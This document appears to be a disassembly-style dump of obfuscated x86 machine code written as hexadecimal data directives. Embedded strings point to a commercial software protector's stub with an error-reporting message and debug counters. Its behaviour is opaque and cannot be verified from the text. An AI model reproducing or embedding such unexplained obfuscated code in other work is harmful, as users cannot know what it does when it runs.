5EBFA98h dd 1965E981h, 858D6712h, 5EBFA66h, 0FE8h, 0DC3E6200h, 0AAFA18B7h dd 8A6316F3h, 0DDC5891Eh, 0BACEBA66h, 0D0B1505Ah, 0FA88B5FFh dd 6A05EBh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h dd 53430000h, 7AA76C3h, 0E2E2A1CAh, 0F835FA25h, 2F35B529h dd 95FF05E9h, 5E932C5h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 17h, 0BBC35141h, 0F539721h, 8Ah, 25858900h dd 8D05E927h, 0EBFA1A85h, 81666005h, 60AB7BE1h, 9E9h, 957EA500h dd 31514899h, 95294364h, 5E902ADh, 0F506161h, 2781h, 0EE96000h dd 81000000h, 523E80C3h, 97AE0821h, 0F5D0F9B6h, 0CE830h dd 0CDC00000h, 0BDFDBB11h, 28764DA6h, 6158FED9h, 0FA88B5FFh dd 958905EBh, 5E927ADh, 32C595FFh, 0A4BF05E9h, 0E82B7F52h dd 0Ch, 0DC8D5C46h, 3AA4112Ch, 2B9CCBC8h, 0E16EB966h, 8C858959h dd 8905EBFAh, 0E90E518Dh, 29858D05h, 8005EBFAh, 8950C0CAh dd 0E905BD95h, 88B5FF05h, 105EBFAh, 0E90F51B5h, 0C595FF05h dd 0E905E932h, 14h, 4F2CF271h, 2470FFB0h, 83D46D38h, 7429224Ch dd 0B8FE20C0h, 0FA908589h, 6A05EBh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 1207C2C3h dd 75E4E908h, 0BD8BDA4Bh, 5E91F01h, 10468h, 1DBD8B00h dd 8D05E91Eh, 0EBFB2085h, 6D958905h, 5005E926h, 2E618D89h dd 858D05E9h, 5EBFC24h, 31018D89h, 805005E9h, 95FFF8D1h dd 5E90F89h, 0E853EB8Ah, 11h, 0AB05A1F7h, 0EE628A6Fh, 0F23E2000h dd 0C17DE923h, 0BD8D2347h, 5A05E90Fh, 0FC0855Fh, 1285h dd 7E900h, 3E10000h, 4051C91Ah, 34EF8155h, 80258471h, 0EC05F9BDh dd 850F0005h, 4Ch, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 16h, 0F7C35343h, 17BAE651h, 0E9432C01h, 1488h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 8CC35343h dd 0C9040411h, 0D1BF0FABh, 0E09BD83h, 0F0005E9h, 3785h dd 0DE800h, 98960000h, 0B11726C5h, 69FCA4A3h, 0F86BF2F6h dd 0A3BD835Fh, 5EC0Ah, 46840Fh, 11E90000h, 0C1000000h dd 32394290h, 187B9AEh, 14398CF7h, 7A7E30CAh, 0FABD858Dh dd 840F05EBh, 0Bh, 6E9h, 8AB10C00h, 0E9BF03B4h, 1404h dd 45BD8BF8h, 0E905E90Fh dd 11h, 4DBD8Bh, 9EB205E9h, 0FAA8858Dh, 0BF0F05EBh, 858D50C9h dd 5EBFB20h, 0D9858950h, 8305E915h, 0E90E09BDh, 840F0005h dd 3Dh, 0CC58D33h, 858D05E9h, 5EBFC46h, 51958B52h, 5F05E90Eh dd 2AE9h, 0B5B58900h, 6005E906h, 12E9h, 0F7AF2600h, 95621BDAh dd 79F363F5h, 0D2514B3Ah, 66F9CDB8h, 4BA2E881h, 2F858D61h dd 5005EBFCh, 146EBA66h, 0FC7E858Dh, 0B52905EBh, 5E906A5h dd 53006A50h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h dd 0C3534300h, 0BD8B6B07h, 5E90D3Dh, 628FD0B9h, 0A595FF7Eh dd 8005E903h, 0C483D7EAh, 0FC08B10h, 0BD83D1B7h, 5E9164Dh dd 83097500h, 0E91121BDh, 19740005h, 0C08B5350h, 7D3B8h dd 0B9858900h, 8D05E923h, 0EBB8C49Dh, 5BD3FF05h, 21BD8358h dd 5E911h, 53501774h, 7D3B8h, 0B9858900h, 8D05E923h, 0EBB5B39Dh dd 5BD3FF05h, 0E9D38B58h, 5, 0DF217341h, 0C08BF577h, 0AC1BD89h dd 0BD8105E9h, 5EBFAA8h, 6165726Fh, 0A4840Fh, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 6A967AC3h, 20858DCFh, 5005EBFBh, 0FC5D858Dh, 8D5005EBh dd 0EBFC7E85h, 95FF5005h, 5E903A5h, 0C60CC483h, 0E90EE585h dd 4F684405h, 0FF96A318h, 0E92345B5h, 0CF858D05h, 0FF05E939h dd 8DD88BD0h, 0EBFC7E85h, 0D3FF5005h, 0FAA8858Dh, 8D5005EBh dd 0EBFB2085h, 0BD835005h, 5E90E09h, 8D087400h, 0EBFC4685h dd 8D06EB05h, 0EBFC2F85h, 858D5005h, 5EBFC7Eh, 0A595FF50h dd 8305E903h, 0D18110C4h, 73839F3h, 0AE18D29h, 95FF05E9h dd 5E922A1h, 3135950Bh, 0FF2505E9h, 66000000h, 0F1E8CF81h dd 0F05F883h, 4D83h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1504h, 0C3564600h, 0B5294AD8h, 5E92B35h dd 1995E981h, 85C760A4h, 5E92FB1h, 1, 194D8D31h, 858D05E9h dd 5EBFADCh, 0E9F88B66h, 3Bh, 30FD9589h, 0BD8305E9h, 5E90E09h dd 20840F00h, 8B000000h, 0E928118Dh, 89BD8B05h, 8D05E902h dd 0EBFB0785h, 49BD8B05h, 0E905E916h, 0Bh, 8DFEB70Fh, 0EBFAE985h dd 8948B605h, 0EBFB1C85h, 0F8BF0F05h, 0E09BD83h, 0F0005E9h dd 1385h, 0A3BD8300h, 5EC0Ah, 24840Fh, 8D8B0000h, 5E926B9h dd 115BE9h, 14E900h, 3AF20000h, 0ABD8E416h, 0B3F897D0h dd 73DF7D07h, 1EA544E7h, 0A6E90D32h, 80000004h, 0C08BB8C6h dd 164DBD83h, 750005E9h, 21BD8309h, 5E911h, 53501974h dd 0D4B8C08Bh, 89000007h, 0E923B985h, 0C49D8D05h, 0FF05EBB8h dd 83585BD3h, 0E91121BDh, 17740005h, 0D4B85350h, 89000007h dd 0E923B985h, 0B39D8D05h, 0FF05EBB5h, 8B585BD3h, 0E92639BDh dd 0CDB58905h, 8B05E91Eh, 58D8BC0h, 105E912h, 0E90BE185h dd 3F6805h, 870F000Fh, 3, 6ACBBF0Fh, 7B0BBA00h, 8D8B77A6h dd 5E925A9h, 8B0F006Ah, 1Bh, 0DE860h, 0DE880000h, 8FECE0E4h dd 17FC8A09h, 5ED79C37h, 820Fh, 89610000h, 0E92A25B5h dd 5D95FF05h, 6A05E925h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 15042444h, 40000000h, 0AB88C350h, 31B58529h dd 0C08505E9h, 0E850Fh, 66600000h, 890FF88Bh, 3, 616EC480h dd 0FAA08589h, 6A05EBh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1C0424h, 55450000h, 0F72CDAC3h, 4CB0E651h, 6A9EF9h dd 2F459589h, 6A05E9h, 195D8D8Bh, 6A05E9h, 4D858960h, 6105E931h dd 0FE8006Ah, 8C000000h, 4E977602h, 0E7E567E1h, 402C5D96h dd 830FB1E6h, 6, 30BD8509h, 8B5F05E9h, 8B006AFAh, 0E9249995h dd 7E858D05h, 6A05EBFCh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 18042444h, 43000000h, 26FFC353h, 23174449h dd 0E905B195h, 0CF8B6605h, 55006A50h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 830FD70Bh dd 1, 0A59D09F9h, 6A05E92Ah, 19D8901h, 6A05E917h, 0FE8B6601h dd 6A016Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h dd 52420000h, 0A47ED2C3h, 0B5BD8BA9h, 6805E921h, 0F01FFh dd 9BD83FCh, 5E90Eh, 33840Fh, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 140424h, 50400000h, 8DF56CC3h dd 0EBFAFD85h, 0A9958B05h, 0E905E925h, 0Eh, 0E3695FBFh dd 0D3858D4Ch, 8005EBFAh, 6A50C6EAh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 7F6DC352h dd 31E5EAB9h, 6890F3Eh, 29000000h, 0E9045D8Dh, 68A0F05h dd 8B000000h, 0E92DD1BDh, 13E95005h, 3F000000h, 0DBB27E38h dd 0EF9BE7D0h, 3D4E3B2Bh, 0C5EBEE7h, 0B5FF4384h, 5EBFAA0h dd 11E8h, 1169100h, 4A0078F0h, 0E69B8086h, 5A3BD7AAh, 8B667FA8h dd 95FF5FCFh, 5EBFA8Ch, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 17h, 48C35545h, 8524122Bh, 13850FC0h, 8B000000h dd 0E926718Dh, 0A9E905h, 0BD8B0000h, 5E927F1h, 8589F98Bh dd 5EBFAA4h, 89958B60h, 6605E927h, 614F04B8h, 0FAA4B5FFh dd 77BA05EBh, 0FF2A3E49h, 0E9272595h, 51006A05h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h dd 0EADF9E0Ah, 6672709Dh, 561BAEDh, 12B677B2h, 850FC085h dd 4Bh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh dd 0F1C35545h, 126F0364h, 0E8CE0AE0h, 6, 40EA5856h, 11E9C1B4h dd 0F2000000h, 0B0CE3709h, 1BF6D064h, 6DAEFE9Eh, 6EE7ADFAh dd 0A18D8B5Ah, 6A05E91Fh, 0BD83F910h, 5E90E09h, 44840F00h dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1D042444h, 42000000h, 0E5E4C352h, 0A5B3B06h, 0DA45FE77h dd 858DCB8Bh, 5EBFAFDh, 1CE9C88Bh, 0E9000000h, 0Bh, 0A8B807C8h dd 676B446Dh, 8D1D449Fh, 0EBFAD385h, 0E1858905h, 5005E926h dd 1CC19D01h, 0B5FF05E9h, 5EBFAA0h, 74F6BF66h, 0FA9895FFh dd 7E905EBh, 0AB000000h, 0E35EDF72h, 0C085CF00h, 0C850Fh dd 0BD010000h, 5E91861h, 7D5B529h, 858905E9h, 5EBFAA4h dd 1A98D8Bh, 0CB8B05E9h, 9D89006Ah, 5E90049h, 8166006Ah dd 0FF7388CAh, 0EBFAA4B5h, 9E905h, 2F660000h, 0C0237BC6h dd 0FF42D1B9h, 0EBFA9095h, 498D8B05h, 8505E917h, 3850FC0h dd 0F000000h, 0B5FFD6BFh, 5EBFAA4h, 7670F181h, 95FF1E46h dd 5E92725h, 0C850Fh, 8F0F0000h, 6, 2589B589h, 958B05E9h dd 5E911F9h, 850FC085h, 5, 3ECA8166h, 66006A42h, 8068CE8Bh dd 8B000000h, 0E92B998Dh, 0F036A05h, 1388h, 0EE900h, 6E5C0000h dd 90BBAE24h, 8DA72BCh, 8D8F30A1h, 5E9006Ah, 45000000h dd 8818D50Ch, 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h dd 1D0424h, 50400000h, 0C21471C3h, 0D5C3C4E3h, 2908A3F5h dd 0E9267DBDh, 6805h, 8D8BC000h, 5E917C1h, 0FB1CB5FFh dd 0BF0F05EBh, 595FFCEh, 6A05E90Fh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 17042444h, 40000000h, 98ADC350h dd 10E9B3E2h, 18000000h, 4A75DD9Eh, 8985BCF9h, 482400D2h dd 83CA2E72h, 850FFFF8h, 4F1h, 613CC981h, 958B67EEh, 5E929F1h dd 58A85FFh, 0CE8A05ECh, 58ABD83h, 0F0205ECh, 3DA84h, 8DF98B00h dd 5AF59F85h, 0BFE18100h, 3438AC0h, 0E90E9D8Dh, 8BD0FF05h dd 0E9267D95h, 0F2858D05h, 0FF005AEFh, 9DB589D0h, 8B05E92Fh dd 890F60C0h, 2, 83615E57h, 0E9164DBDh, 9750005h, 1121BD83h dd 740005E9h, 8B535019h, 7D8B8C0h, 85890000h, 5E923B9h dd 0B8C49D8Dh, 0D3FF05EBh, 0BD83585Bh, 5E91121h, 50177400h dd 7D8B853h, 85890000h, 5E923B9h, 0B5B39D8Dh, 0D3FF05EBh dd 0BD8B585Bh, 5E91DB5h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 19h, 0FDC35242h, 92950135h, 218D8B2Dh, 8B05E90Bh dd 0C8E0FC0h, 0F000000h, 682h, 0B58D8B00h, 6805E90Ah, 0F003Fh dd 6A006Ah, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 17h, 21C35242h, 0FECC70Fh, 95FFCBB7h, 5E9255Dh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 5FC35343h, 49FF7F9Ch dd 93F4A973h, 90DAC781h, 8B6647BDh, 0CDBD8BD3h, 8505E932h dd 14E9C0h, 96CD0000h, 2411AC9Bh, 0AF8D8CBh, 881DDDF6h dd 56A7246Dh, 85899B36h, 5EBFAA0h, 5FFA8B56h, 0FF68A6B6h dd 8B000F01h, 9BD83CEh, 5E90Eh, 19840Fh, 4B50000h, 0FAFD858Dh dd 858905EBh, 5E90695h, 1BE9h, 1DBD2900h, 8D05E927h, 0EBFAD385h dd 6890F05h, 89000000h, 0E90ADDBDh, 0C8BF0F05h, 0D7816650h dd 0B5FFA776h, 5EBFAA0h, 95FFE1B2h, 5EBFA98h, 6858529h dd 858905E9h, 5EBFAA4h, 0EB2F91BFh, 0B19D292Ch, 0C705E92Eh dd 0E92FC585h, 5, 0E9BD8B00h, 8305E90Bh, 0EBFAA4BDh, 840F0005h dd 1DCh, 68F0Fh, 0BD8B0000h, 5E92F09h, 0FD82858Dh, 6A05EBh dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h dd 9EB158C3h, 0A17877B4h, 508D1D00h, 8B0Fh, 16A0000h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 6CC35747h, 0F93C4667h dd 0BA0E072Eh, 0B5FFF98Bh, 5EBFAA4h, 23759D09h, 95FF05E9h dd 5EBFA9Ch, 0FFCAB70Fh, 0EBFAA4B5h, 1800F05h, 0F8000000h dd 27659D31h, 95FF05E9h, 5E92725h, 2C0D9D01h, 0FF6805E9h dd 6A000F01h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 19042444h, 45000000h, 7E7AC355h, 0E5B96C9Ch, 0BE9958Bh dd 0BD8305E9h, 5E90E09h, 3A840F00h, 0BA000000h, 63042078h dd 0FAFD858Dh, 6A05EBh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 160424h, 57470000h, 982313C3h, 8589C88Ah, 5E90CD9h dd 2AE9h, 0A6B96600h, 0D3858DA3h, 0E805EBFAh, 14h, 7ACE21E0h dd 9DA59DD1h, 0CE3BAB11h, 7B4D3DECh, 0BBD635A0h, 19159529h dd 505905E9h, 1155BD89h, 0B5FF05E9h, 5EBFAA0h, 2CF19D29h dd 95FF05E9h, 5EBFA98h, 4AD9589h, 858905E9h, 5EBFAA4h dd 18C8BF66h, 0FAA4B5FFh, 6A05EBh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 180424h, 56460000h, 0EB6A2AC3h, 0B5893023h dd 5E90799h, 1D61BD29h, 0FE805E9h, 44000000h, 4DDE831Eh dd 38202A1Eh, 4EF10179h, 8957DF5Bh, 0E93269B5h, 0FF5A5905h dd 0EBFA9495h, 0B1858905h, 0FF05E92Eh, 0EBFAA4B5h, 0BE905h dd 193C0000h, 0B64ED257h, 7F73D7D2h, 95FFF50Ch, 5E92725h dd 2880Fh, 0CA8B0000h, 0FFF6C9E9h, 51006AFFh, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 0F5E18CDFh dd 0FF79B617h, 0EC05EDB5h, 958D8905h, 0FF05E910h, 0E90BC595h dd 38F0F05h, 0F000000h, 9E9FABFh, 0F1000000h, 8BF3152Bh dd 0D5ABFBB0h, 2DCD858Bh, 958B05E9h, 5E91D8Dh, 5A3E9h dd 15BD8900h, 8D05E912h, 0EBFDA2B5h, 8D8D8B05h, 8105E924h dd 0FBCCFCF1h, 97858D55h, 8A05EBAAh, 6AD0FFE8h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h dd 0BDA0C352h, 113E312Bh, 28E18D89h, 2BBF05E9h, 6A593565h dd 0F4D98000h, 176195FFh, 0BA6605E9h, 0F38B783Eh, 2AD8D01h dd 858D05E9h, 5EBAA97h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Dh, 9AC35646h, 48E4C6DEh, 0B2B5B2h, 0FD0FFC4h dd 683h, 9BD8B00h, 6A05E91Eh, 5E800h, 1D6C0000h, 0B90567C1h dd 39048BF2h, 6195FF5Ah, 8B05E917h, 0E9054D8Dh, 0E9C08B05h dd 0Bh, 4048D281h, 84194BE2h, 83C434FEh, 0E9164DBDh, 9750005h dd 1121BD83h, 740005E9h, 8B535019h, 7D9B8C0h, 85890000h dd 5E923B9h, 0B8C49D8Dh, 0D3FF05EBh, 0BD83585Bh, 5E91121h dd 50177400h, 7D9B853h, 85890000h, 5E923B9h, 0B5B39D8Dh dd 0D3FF05EBh, 0DBF585Bh, 6638D72Dh, 0B721EF81h, 6AC08Bh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h dd 0A72F4DC3h, 5DB5893Bh, 5005E912h, 7EF78166h, 89D88B83h dd 0E90BF985h, 9D8D5305h, 5E925D1h, 389038Bh, 8950438Bh dd 9D8D5043h, 5EC0586h, 389038Bh, 6850F5Bh, 8B000000h dd 0E93285BDh, 50006A05h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1904h, 0C3504000h, 8EBADCD3h, 0BD0B5E25h dd 5E90521h, 6A29B5h, 8DF98B66h, 0EC058685h, 91BD8B05h dd 0B105E903h, 6A50A7h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 170424h, 51410000h, 0A520EDC3h, 6AD58AE2h, 52006A60h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h dd 8D293CECh, 5E927ADh, 0FAE98060h, 28F0Fh, 48B70000h dd 0D1858D61h, 6605E925h, 0D686E981h, 50006A50h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h dd 0F5019556h, 8B006A37h, 6A006ACEh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 51E9C351h dd 0D9CE181h, 0E95F07E9h, 6, 0D0037725h, 68261Fh, 8B000018h dd 0E92CE98Dh, 6A5305h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1C0424h, 51410000h, 0C72541C3h, 73FEFD82h, 95FFB9D4h dd 5E92711h, 0C2ACBF66h, 2DC595FFh, 6A05E9h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 190424h, 52420000h, 745DEEC3h dd 896D4714h, 0E902A585h, 0EDB5FF05h, 8105EC05h, 9B1A17C1h dd 0C595FF17h, 8D05E90Bh, 0E925D185h, 18408B05h, 0C985C7F8h dd 5E919h, 89000000h, 0E926EDBDh, 9BD8305h, 5E90Eh, 1A840Fh dd 95B50000h, 8C3Dh, 0A3830F00h, 8B000001h, 0E910DDBDh dd 12E905h, 0F78A0000h, 963Dh, 8B830F00h, 66000001h, 5E4EEA81h dd 0F59F858Dh, 8D8B005Ah, 5E90785h, 0EE80D0FFh, 0F2858DB5h dd 6A005AEFh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 17042444h, 41000000h, 2431C351h, 0E960876Bh, 13h, 0DEDF0BCh dd 0D92B592h, 0F7972591h, 776A2ED2h, 0E9FD8B5Eh, 0Fh, 0E989AA78h dd 89F373ABh, 0BF265D40h, 6146973Eh, 0D0FF8CB1h, 0E856006Ah dd 3 dd 5EC35E20h, 4247489h, 4244481h, 14h, 0D7C35646h, 5B9BD29h dd 665205E9h, 5907F5BAh, 0BD83C08Bh, 5E9164Dh, 83097500h dd 0E91121BDh, 19740005h, 0C08B5350h, 0BC6B8h, 0B9858900h dd 8D05E923h, 0EBB8C49Dh, 5BD3FF05h, 21BD8358h, 5E911h dd 53501774h, 0BC6B8h, 0B9858900h, 8D05E923h, 0EBB5B39Dh dd 5BD3FF05h, 52006A58h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1404h, 0C3524200h, 958B57B6h, 5E913D1h, 0F4B9665Fh dd 6AC08B0Bh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 15042444h, 47000000h, 0F48FC357h, 236D8D89h, 950305E9h dd 5E92E6Dh, 0FFFF883h, 2D85h, 0FE8B6600h, 0FA585C7h, 5E9h dd 0BD8B0000h, 5E902B1h, 0CFE9h, 8870F00h, 50000000h, 321BD8Bh dd 0E95905E9h, 18h, 0F883D7B2h, 0D850F01h, 89000000h, 0E90EF18Dh dd 0EEE905h, 0C88B0000h, 0FFF1B1E9h, 1E93B9FFh, 0C08B3241h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0EFC35343h dd 84F0BD4Fh, 9AF3EE67h, 0FE988h, 0B90D0000h, 3CF005E4h dd 1DF76863h, 0DE91846Ah, 4DBD83B3h, 5E916h, 0BD830975h dd 5E91121h, 50197400h, 0B8C08B53h, 7DDh, 23B98589h, 9D8D05E9h dd 5EBB8C4h, 585BD3FFh, 1121BD83h, 740005E9h, 0B8535017h dd 7DDh, 23B98589h, 9D8D05E9h, 5EBB5B3h, 585BD3FFh, 0B650F88Bh dd 0C08B5F6Bh, 252E9F9h, 8D8B0000h, 5E90B8Dh, 38A858Dh dd 6A05ECh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h dd 57470000h, 9A277FC3h, 0E859DA80h, 8, 9F9D737Dh, 24C1087Ah dd 8285895Ah, 6605EC05h, 0DE58DF81h, 67E9h, 0C88B6600h dd 192858Dh, 6A05ECh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 190424h, 56460000h, 9650EDC3h, 811672C0h, 0BF17A3F2h dd 6DBD2917h, 4005E924h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ah, 0BDC35343h, 51569831h, 0BD8BF7B7h, 5E90449h dd 5828589h, 0D38B05ECh, 858D346Ah, 5E91175h, 82B5FF50h dd 6A05EC05h, 0A595FF00h, 8305E91Dh, 840F07F8h, 162h, 0F6DB8C66h dd 850F04C3h, 0FCh, 0EE585C6h, 685605E9h, 9CA8B852h, 2345B5FFh dd 858D05E9h, 5E939CFh, 46AD0FFh, 100068h, 6A646A00h, 89D0FF00h dd 0EC05F585h, 0E585C605h, 4705E90Eh, 18AC9B68h, 45B5FFECh dd 8D05E923h, 0E939CF85h, 0FFD0FF05h, 0C6F08BD0h, 0E90EE585h dd 61684F05h, 0FFC62F26h, 0E921D5B5h, 0CF858D05h, 0FF05E939h dd 0F19D8DD0h, 5305EC05h, 0FF56286Ah, 75C085D0h, 0E585C600h dd 4105E90Eh, 87649868h, 0D5B5FFDBh, 8D05E921h, 0E939CF85h dd 89D0FF05h, 0EC060E85h, 0E585C605h, 4C05E90Eh, 0A4E7A468h dd 0D5B5FF80h, 8D05E921h, 0E939CF85h, 8BD0FF05h, 0EC05F59Dh dd 45B8D05h, 0FA9D8D53h, 5305EC05h, 0D0FF006Ah, 5F59D8Bh dd 3C705ECh, 1, 20C43C7h, 0C7000000h, 0E9302585h, 5, 6A006A00h dd 8B006A00h, 0EC05F59Dh, 6A5305h, 5F1B5FFh, 95FF05ECh dd 5EC060Eh, 0EE585C6h, 684505E9h, 92A5F797h, 39B5FFh dd 858D05E9h, 5E939CFh, 6AD0FFh, 0D0FF026Ah, 0F6DB8C66h dd 327504C3h, 5F59D8Bh, 43C705ECh, 0Ch, 6A006A00h, 0F59D8B00h dd 5305EC05h, 0B5FF006Ah, 5EC05F1h, 60E95FFh, 0B5FF05ECh dd 5EC05F1h, 2DC595FFh, 6A05E9h, 176195FFh, 96B505E9h dd 9AEAC281h, 31603316h, 0E91DFD85h, 55BD8B05h, 6105E903h dd 3A33858Dh, 0BA6605ECh, 0FB10163h, 0CE950h, 635D0000h dd 6D5F351Bh, 4F19C4E1h, 8B0F7E47h, 6, 8098501h, 0FF6405E9h dd 35h, 9DB96600h, 258964D4h, 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 0DCC35141h dd 6820F88h, 89000000h, 0E907CD8Dh, 3880F05h, 80000000h dd 93BA84EAh, 8307686Fh, 0E91EDDBDh, 840F0005h, 37h, 21ED958Bh dd 0BD8305E9h, 5E901BDh, 24850F01h, 89000000h, 0E92751BDh dd 0EBD8005h, 5EC0Ah, 11850Fh, 8D0B0000h, 5E92821h, 1E7E9h dd 0EDB58900h, 3305E926h, 0DE960DBh, 0A5000000h, 0AF18725Ah dd 59977769h, 6E9E8BC1h, 3758D8Bh, 896105E9h, 0E9317195h dd 60C03305h, 0CDBD8960h, 2905E907h, 0E91D81B5h, 9D296105h dd 5E92EE5h, 3F0F4061h, 8F640B07h, 5, 4C48300h, 1E91BD8Bh dd 6A05E9h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h dd 51410000h, 84BAC9C3h, 831F0970h, 840FFFFBh, 30h, 810Fh dd 0F600000h, 68Fh, 458D0100h, 0BB05E92Ah, 0CC0A79Dh, 140E961h dd 0DE90000h, 54000000h, 161C69B2h, 0DDFEBFE6h, 6A1C695h dd 79E9h, 958B5600h, 5E91EA9h, 0D1B70F59h, 0C244C8Bh, 0A481C7h dd 0FFFF0000h, 8183FFFFh, 0B8h, 0C3C03304h, 0C245C8Bh dd 0E855h, 815D0000h, 0EC3A55EDh, 0B8838B05h, 8D000000h dd 0EC3B5B85h, 0B8838905h, 5D000000h, 0FC3C033h, 681h dd 810F00h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 19042444h, 46000000h, 1627C356h, 3E587A4Fh dd 858DC88Bh, 5EC3A4Bh, 0CD8D8B60h, 5305E91Ch, 4FD9D8Bh dd 615905E9h, 53006A50h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1A04h, 0C3534300h, 0C5C3B4CAh, 6014893Fh, 37DBBA66h dd 1221BD23h, 0F6105E9h, 0A81h, 48F0F00h, 66000000h, 64F842BAh dd 35FFh, 0ED800000h, 25896453h, 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 7BC35040h dd 0FA8B6642h, 0AB905B6h, 0B8000000h, 4855D704h, 0F7816405h dd 0D465BB0Dh, 40BA8685h, 810034B6h, 345FE8EAh, 0FB81ED00h dd 564D5868h, 85C70A75h, 5E928E5h, 1, 58F64h, 83000000h dd 0E9FC04C4h, 7, 0C80F5C68h, 8B981686h, 0D99529C0h, 8305E915h dd 0E9164DBDh, 9750005h, 1121BD83h, 740005E9h, 8B535019h dd 43DB8C0h, 85890000h, 5E905ADh, 0B92B9D8Dh, 0D3FF05EBh dd 0BD83585Bh, 5E91121h, 50177400h, 43DB853h, 85890000h dd 5E905ADh, 0B5CC9D8Dh, 0D3FF05EBh, 958B585Bh, 5E91269h dd 0BE9h, 0C991A900h, 3BDB7BDEh, 0FC4FC81Eh, 3AE9C08Bh dd 4000001h, 31000000h, 3535382Eh, 7 dup(0) dd 63784500h, 69747065h, 49206E6Fh, 726F666Eh, 6974616Dh dd 50006E6Fh, 7361656Ch, 73202C65h, 20646E65h, 20656874h dd 6C6C6F66h, 6E69776Fh, 6F632067h, 20736564h, 69206F74h dd 406F666Eh, 6165726Fh, 632E736Eh, 202E6D6Fh, 6E616854h dd 6F79206Bh, 0D0A2E75h, 20200D0Ah, 20202020h, 70282020h dd 73736572h, 52544320h, 20432B4Ch, 74206E6Fh, 20736968h dd 646E6977h, 7420776Fh, 6F63206Fh, 74207970h, 6C63206Fh dd 6F627069h, 29647261h, 20202020h, 0D0A0D0Ah, 73726556h dd 206E6F69h, 25203D20h, 430D0A73h, 6B636568h, 20204E49h dd 6425203Dh, 68430D0Ah, 4F6B6365h, 3D205455h, 0A642520h dd 6F72500Dh, 204E4963h, 203D2020h, 0D0A6425h, 636F7250h dd 2054554Fh, 25203D20h, 450D0A64h, 49746978h, 2020204Eh dd 6425203Dh, 78450D0Ah, 554F7469h, 3D202054h, 0A642520h dd 6950540Dh, 2020206Eh, 203D2020h, 0D0A6425h, 49BD8300h dd 5E910h, 12D840Fh, 858D0000h, 5EBB3E3h, 4D858D50h, 5005EBB3h dd 168h, 0F395FF80h, 8D05EBB3h, 0EC3BE285h, 858D5005h dd 5EC3BECh, 6A006A50h, 61858D00h, 5005EBB3h, 0B3E3B5FFh dd 95FF05EBh, 5E91D39h, 3BE2858Dh, 8D5005ECh, 0EC3BF085h dd 6A5005h, 858D006Ah, 5EBB373h, 0E3B5FF50h, 0FF05EBB3h dd 0E91D3995h, 0E2858D05h, 5005EC3Bh, 3BFC858Dh, 6A5005ECh dd 8D006A00h, 0EBB3C085h, 0B5FF5005h, 5EBB3E3h, 1D3995FFh dd 858D05E9h, 5EC3BE2h, 4858D50h, 5005EC3Ch, 6A006Ah, 0B3DE858Dh dd 0FF5005EBh, 0EBB3E3B5h, 3995FF05h, 8D05E91Dh, 0EC3BE285h dd 858D5005h, 5EC3C00h, 6A006A50h, 0C7858D00h, 5005EBB3h dd 0B3E3B5FFh, 95FF05EBh, 5E91D39h, 3BE2858Dh, 8D5005ECh dd 0EC3BF485h, 6A5005h, 858D006Ah, 5EBB3CFh, 0E3B5FF50h dd 0FF05EBB3h, 0E91D3995h, 0E2858D05h, 5005EC3Bh, 3BF8858Dh dd 6A5005ECh, 8D006A00h, 0EBB3D685h, 0B5FF5005h, 